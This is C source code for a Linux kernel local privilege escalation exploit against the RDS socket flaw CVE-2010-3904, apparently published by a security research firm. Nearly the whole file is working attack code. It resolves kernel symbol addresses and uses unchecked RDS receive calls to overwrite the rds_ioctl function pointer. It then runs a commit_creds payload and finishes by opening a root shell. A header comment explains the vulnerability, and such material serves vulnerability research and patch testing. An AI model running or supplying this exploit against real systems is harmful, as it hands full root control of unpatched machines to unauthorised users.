http://www.vsecurity.com/download/tools/linux-rds-exploit.c

 

  1. /* 
  2.  * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit 
  3.  * CVE-2010-3904 
  4.  * by Dan Rosenberg <drosenberg@vsecurity.com> 
  5.  * 
  6.  * Copyright 2010 Virtual Security Research, LLC 
  7.  * 
  8.  * The handling functions for sending and receiving RDS messages 
  9.  * use unchecked __copy_*_user_inatomic functions without any 
  10.  * access checks on user-provided pointers.  As a result, by 
  11.  * passing a kernel address as an iovec base address in recvmsg-style 
  12.  * calls, a local user can overwrite arbitrary kernel memory, which 
  13.  * can easily be used to escalate privileges to root.  Alternatively, 
  14.  * an arbitrary kernel read can be performed via sendmsg calls. 
  15.  * 
  16.  * This exploit is simple - it resolves a few kernel symbols, 
  17.  * and overwrites a function pointer (rds_ioctl) to point 
  18.  * to the payload.  After triggering the payload, the original 
  19.  * value is restored.  Hard-coding the offset of this function 
  20.  * pointer is a bit inelegant, but I wanted to keep it simple and 
  21.  * architecture-independent (i.e. no inline assembly). 
  22.  * 
  23.  * The vulnerability is yet another example of why you shouldn't 
  24.  * allow loading of random packet families unless you actually 
  25.  * need them. 
  26.  * 
  27.  * Greets to spender, kees, taviso, hawkes, team lollerskaters, 
  28.  * joberheide, bla, sts, and VSR 
  29.  * 
  30.  */ 
  31.   
  32. #include <stdio.h> 
  33. #include <unistd.h> 
  34. #include <stdlib.h> 
  35. #include <fcntl.h> 
  36. #include <sys/types.h> 
  37. #include <sys/socket.h> 
  38. #include <netinet/in.h> 
  39. #include <errno.h> 
  40. #include <string.h> 
  41. #include <sys/utsname.h> 
  42.   
  43. #define RECVPORT 5555 
  44. #define SENDPORT 6666 
  45.   
  46. int prep_sock(int port) 
  47. { 
  48.   
  49.     int s, ret; 
  50.     struct sockaddr_in addr; 
  51.   
  52.     s = socket(PF_RDS, SOCK_SEQPACKET, 0); 
  53.   
  54.     if(s < 0) { 
  55.         printf("[*] Could not open socket.\n"); 
  56.         exit(-1); 
  57.     } 
  58.   
  59.     memset(&addr, 0, sizeof(addr)); 
  60.   
  61.     addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  62.     addr.sin_family = AF_INET; 
  63.     addr.sin_port = htons(port); 
  64.   
  65.     ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); 
  66.   
  67.     if(ret < 0) { 
  68.         printf("[*] Could not bind socket.\n"); 
  69.         exit(-1); 
  70.     } 
  71.   
  72.     return s; 
  73.   
  74. } 
  75.   
  76. void get_message(unsigned long address, int sock) 
  77. { 
  78.   
  79.     recvfrom(sock, (void *)address, sizeof(void *), 0, 
  80.          NULL, NULL); 
  81.   
  82. } 
  83.   
  84. void send_message(unsigned long value, int sock) 
  85. { 
  86.   
  87.     int size, ret; 
  88.     struct sockaddr_in recvaddr; 
  89.     struct msghdr msg; 
  90.     struct iovec iov; 
  91.     unsigned long buf; 
  92.   
  93.     memset(&recvaddr, 0, sizeof(recvaddr)); 
  94.   
  95.     size = sizeof(recvaddr); 
  96.   
  97.     recvaddr.sin_port = htons(RECVPORT); 
  98.     recvaddr.sin_family = AF_INET; 
  99.     recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  100.   
  101.     memset(&msg, 0, sizeof(msg)); 
  102.   
  103.     msg.msg_name = &recvaddr; 
  104.     msg.msg_namelen = sizeof(recvaddr); 
  105.     msg.msg_iovlen = 1; 
  106.   
  107.     buf = value; 
  108.   
  109.     iov.iov_len = sizeof(buf); 
  110.     iov.iov_base = &buf; 
  111.   
  112.     msg.msg_iov = &iov; 
  113.   
  114.     ret = sendmsg(sock, &msg, 0); 
  115.     if(ret < 0) { 
  116.         printf("[*] Something went wrong sending.\n"); 
  117.         exit(-1); 
  118.     } 
  119. } 
  120.   
  121. void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) 
  122. { 
  123.   
  124.     if(!fork()) { 
  125.             sleep(1); 
  126.             send_message(value, sendsock); 
  127.             exit(1); 
  128.     } 
  129.     else { 
  130.         get_message(addr, recvsock); 
  131.         wait(NULL); 
  132.     } 
  133.   
  134. } 
  135.   
  136. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
  137. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
  138. _commit_creds commit_creds; 
  139. _prepare_kernel_cred prepare_kernel_cred; 
  140.   
  141. int __attribute__((regparm(3))) 
  142. getroot(void * file, void * vma) 
  143. { 
  144.   
  145.     commit_creds(prepare_kernel_cred(0)); 
  146.     return -1;  
  147.   
  148. } 
  149.   
  150. /* thanks spender... */ 
  151. unsigned long get_kernel_sym(char *name) 
  152. { 
  153.     FILE *f; 
  154.     unsigned long addr; 
  155.     char dummy; 
  156.     char sname[512]; 
  157.     struct utsname ver; 
  158.     int ret; 
  159.     int rep = 0; 
  160.     int oldstyle = 0; 
  161.   
  162.     f = fopen("/proc/kallsyms", "r"); 
  163.     if (f == NULL) { 
  164.         f = fopen("/proc/ksyms", "r"); 
  165.         if (f == NULL) 
  166.             goto fallback; 
  167.         oldstyle = 1; 
  168.     } 
  169.   
  170. repeat: 
  171.     ret = 0; 
  172.     while(ret != EOF) { 
  173.         if (!oldstyle) 
  174.             ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
  175.         else { 
  176.             ret = fscanf(f, "%p %s\n", (void **)&addr, sname); 
  177.             if (ret == 2) { 
  178.                 char *p; 
  179.                 if (strstr(sname, "_O/") || strstr(sname, "_S.")) 
  180.                     continue; 
  181.                 p = strrchr(sname, '_'); 
  182.                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { 
  183.                     p = p - 4; 
  184.                     while (p > (char *)sname && *(p - 1) == '_') 
  185.                         p--; 
  186.                     *p = '\0'; 
  187.                 } 
  188.             } 
  189.         } 
  190.         if (ret == 0) { 
  191.             fscanf(f, "%s\n", sname); 
  192.             continue; 
  193.         } 
  194.         if (!strcmp(name, sname)) { 
  195.             fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); 
  196.             fclose(f); 
  197.             return addr; 
  198.         } 
  199.     } 
  200.   
  201.     fclose(f); 
  202.     if (rep) 
  203.         return 0; 
  204. fallback: 
  205.     /* didn't find the symbol, let's retry with the System.map 
  206.        dedicated to the pointlessness of Russell Coker's SELinux 
  207.        test machine (why does he keep upgrading the kernel if 
  208.        "all necessary security can be provided by SE Linux"?) 
  209.     */ 
  210.     uname(&ver); 
  211.     if (strncmp(ver.release, "2.6", 3)) 
  212.         oldstyle = 1; 
  213.     sprintf(sname, "/boot/System.map-%s", ver.release); 
  214.     f = fopen(sname, "r"); 
  215.     if (f == NULL) 
  216.         return 0; 
  217.     rep = 1; 
  218.     goto repeat; 
  219. } 
  220.   
  221. int main(int argc, char * argv[]) 
  222. { 
  223.     unsigned long sock_ops, rds_ioctl, target; 
  224.     int sendsock, recvsock; 
  225.     struct utsname ver; 
  226.   
  227.     printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); 
  228.     printf("[*] by Dan Rosenberg\n"); 
  229.   
  230.     uname(&ver); 
  231.   
  232.     if(strncmp(ver.release, "2.6.3", 5)) { 
  233.         printf("[*] Your kernel is not vulnerable.\n"); 
  234.         return -1; 
  235.     }   
  236.   
  237.     sendsock = prep_sock(SENDPORT); 
  238.     recvsock = prep_sock(RECVPORT); 
  239.   
  240.     /* Resolve addresses of relevant symbols */ 
  241.     printf("[*] Resolving kernel addresses...\n"); 
  242.     sock_ops = get_kernel_sym("rds_proto_ops"); 
  243.     rds_ioctl = get_kernel_sym("rds_ioctl"); 
  244.     commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); 
  245.     prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); 
  246.   
  247.     if(!sock_ops || !rds_ioctl || !commit_creds || !prepare_kernel_cred) { 
  248.         printf("[*] Failed to resolve kernel symbols.\n"); 
  249.         return -1; 
  250.     } 
  251.   
  252.     /* Calculate target */ 
  253.     target = sock_ops + 9 * sizeof(void *); 
  254.   
  255.     /* Overwrite rds_ioctl function pointer */ 
  256.     printf("[*] Overwriting function pointer...\n"); 
  257.     write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); 
  258.   
  259.     /* Trigger the payload */ 
  260.     printf("[*] Triggering payload...\n"); 
  261.     ioctl(sendsock, 0, NULL); 
  262.   
  263.     /* Restore the rds_ioctl function pointer */ 
  264.     printf("[*] Restoring function pointer...\n"); 
  265.     write_to_mem(target, rds_ioctl, sendsock, recvsock); 
  266.   
  267.     if(getuid()) { 
  268.         printf("[*] Exploit failed to get root.\n"); 
  269.         return -1; 
  270.     } 
  271.   
  272.     printf("[*] Got root!\n"); 
  273.     execl("/bin/sh", "sh", NULL); 
  274.   
  275. }